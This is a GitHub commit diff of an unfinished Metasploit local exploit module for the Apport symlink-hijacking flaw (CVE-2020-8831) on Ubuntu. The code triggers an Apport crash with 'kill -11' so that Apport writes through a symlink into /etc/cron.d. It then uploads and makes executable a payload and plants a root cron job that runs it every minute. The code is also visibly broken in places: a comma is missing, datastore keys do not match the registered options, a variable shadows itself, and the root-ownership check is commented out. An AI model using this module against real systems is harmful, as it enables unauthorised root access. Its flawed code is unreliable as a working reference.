Skip to content

Commit 4391138

Browse files
committed
Finish check method
1 parent e7bd6e0 commit 4391138

File tree

1 file changed

+53
-57
lines changed

1 file changed

+53
-57
lines changed
Lines changed: 53 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -1,39 +1,45 @@
1-
# Randomness itself is a give away of exploitation
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
26
class MetasploitModule < Msf::Exploit::Local
37
Rank = NormalRanking
48

9+
prepend Msf::Exploit::Remote::AutoCheck
510
include Msf::Post::Linux::System
11+
include Msf::Post::Linux::Kernel
612
include Msf::Post::File
7-
include Msf::Post::File::FileStat
813

9-
# TODO targets in the initialize method and how they work
10-
# TODO other priv esc vectors, startup folders, periodic scripts
14+
# TODO: targets in the initialize method and how they work
15+
# TODO other priv esc vectors, startup folders, periodic scripts
1116
# change name to apport exploit, checking lesser version of apport in check method, are they vunerable?
1217
def initialize(info = {})
1318
super(
1419
update_info(
1520
info,
1621
'Name' => 'Apport Symlink Hijacking Privilege Escalation ',
1722
'Description' => %q{
18-
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
19-
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
20-
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
21-
able to create files with global 0777 permissions. This module exploits this weaknes by creating a
22-
symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
23+
On some Ubuntu releases such as Xenial Xerus 16.04.7 the Apport 2.20 crash handler is vulnerable
24+
to symlink hijacking. Following a crash Apport will write reports to /var/lock/apport/lock,
25+
an attacker who can create a symlink to a privileged directory via /var/lock/apport will be
26+
able to create files with global 0777 permissions. This module exploits this weaknes by creating a
27+
symbolic link to /etc/cron.d/ in order to write a system crontab that will execute a payload with
2328
elevated permissions.
2429
},
2530
'License' => MSF_LICENSE,
26-
'Author' => [
27-
'gardnerapp' # mirageinfosec.cloud
31+
'Author' => [
32+
'gardnerapp' # mirageinfosec.cloud
2833
],
2934
'References' => [
3035
[
31-
'URL', 'https://nostarch.com/zero-day', # pg. 59
32-
'URL', 'https://ubuntu.com/security/CVE-2020-8831',
33-
'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
36+
'URL', 'https://nostarch.com/zero-day', # pg. 59
37+
'URL', 'https://ubuntu.com/security/CVE-2020-8831',
38+
'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
3439
]
3540
],
36-
'Platform' => 'linux',
41+
'Platform' => ['linux'],
42+
'SessionTypes' => ['shell', 'meterpreter'],
3743
'Targets' => [
3844
[
3945
'Linux_Binary',
@@ -45,62 +51,50 @@ def initialize(info = {})
4551
'Linux_Command',
4652
{
4753
'Arch' => ARCH_CMD
48-
'Payload' =>
49-
{
50-
'BadChars' => "\x22\x27"
51-
}
5254
}
5355
]
5456
],
55-
'Payload' => {
56-
'BadChars' => "\x00"
57-
},
5857
'Privileged' => false,
5958
'DisclosureDate' => '2 April 2020',
6059
'DefaultTarget' => 0,
6160
'Notes' => {
6261
'Stability' => [CRASH_SAFE],
6362
'Reliability' => [REPEATABLE_SESSION],
6463
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
65-
},
64+
}
6665
)
6766
)
68-
69-
register_options(
67+
register_options [
7068
OptString.new('WRITABLE_DIR', [true, 'A directory we can write to.', '/tmp']),
7169
OptString.new('PAYLOAD_FILENAME', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]),
7270
OptString.new('CRON_FILENAME', [true, 'Name of the cron file', Rex::Text.rand_text_alpha(rand(8..12))]),
7371
OptString.new('CRON_INTERVAL', [true, 'Specify how often the Cron should run. Default is every minute.', '* * * * *'])
74-
)
72+
]
7573
end
7674

7775
def check
78-
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
79-
80-
return CheckCode::Safe('Target is not Ubuntu') unless kernel_version =~ /[uU]buntu/
76+
return CheckCode::Safe('Platform is not Linux') unless session.platform == 'linux'
8177

82-
sys_info = get_sysinfo
83-
puts system_info
78+
# Check apport version
79+
if !command_exists?('apport-cli')
80+
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH')
81+
end
8482

85-
distro = sysinfo[:distro]
86-
puts distro
87-
version = sysinfo[:version]
88-
puts system_info
83+
apport = cmd_exec('apport-cli --version').to_s
8984

90-
# Check apport version
91-
if !command_exists?('apport-cli')
92-
return CheckCode::Safe('apport-cli does not appear to be installed or in the $PATH')
93-
end
85+
return CheckCode::Detected('Unable to determine apport version') if apport.blank?
9486

95-
apport = cmd_exec('apport-cli --version').to_s
87+
# todo determine if prior versions of apport which are NOT vulnerable
88+
apport_version = Rex::Version.new(apport.split('-').first)
9689

97-
return CheckCode::Detected('Unable to determine apport version') if apport.blank?
90+
vulnerable_version = Rex::Version.new('2.20.11')
9891

99-
version = Rex::Version.new(apport.split('-').first)
92+
if apport_version == vulnerable_version
93+
vprint_good("Apport appears to be vulnerable.")
94+
return CheckCode::Appears
95+
end
10096

101-
vulnerable = Rex::Version.new '2.20'
102-
# Were there prior versions of apport which are NOT vulnerableii
103-
# if version < vulnerable return bad
97+
CheckCode::Safe
10498
end
10599

106100
# hijack symlink by creating apport crash
@@ -113,30 +107,32 @@ def hijack_apport
113107
cmd_exec 'sleep 10s & kill -11 $!'
114108

115109
# need method for seeing if file is owned by root and combine with and gate
110+
# TODO want to check if file is root owned to ensure exploit workedd
116111
# if uid method does not work remove Msf::Post::File::FileStat
117-
if !writable?('/etc/crontab/lock') || uid('/etc/crontab/lock') != 0
118-
fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.')
112+
#puts "uid(/etc/crontab/lock) #{uid('/etc/crontab/lock')}"
113+
if !writable?('/etc/crontab/lock') #|| uid('/etc/crontab/lock') != 0
114+
fail_with(Failure::NotFound, 'Exploit was unable to create a crontab owned by root.')
119115
end
120-
end
116+
end
121117

122-
def write_payload
123-
print_status 'Uploading payload'
118+
def write_payload
119+
print_status 'Uploading payload'
124120

125-
pay_dir = datastore['WritableDir']
121+
pay_dir = datastore['WritableDir']
126122

127-
pay_dir += '/' unless pay_dir.ends_with? '/'
123+
pay_dir += '/' unless pay_dir.ends_with? '/'
128124

129-
pay_file = datastore['PayloadFilename']
125+
pay_file = datastore['PayloadFilename']
130126

131-
@pay_dest = "#{pay_dir}#{pay_file}"
127+
@pay_dest = "#{pay_dir}#{pay_file}"
132128

133129
# create the payload
134130
if target.arch.first == ARCH_CMD
135131
payload = payload.encoded
136132
upload_and_chmodx pay_dest, payload
137-
else
133+
else
138134
upload_and_chmodx pay_dest, generate_payload_exe
139-
end
135+
end
140136
end
141137

142138
def write_cron
@@ -152,4 +148,4 @@ def exploit
152148

153149
write_cron
154150
end
155-
end
151+
end

0 commit comments

Comments
 (0)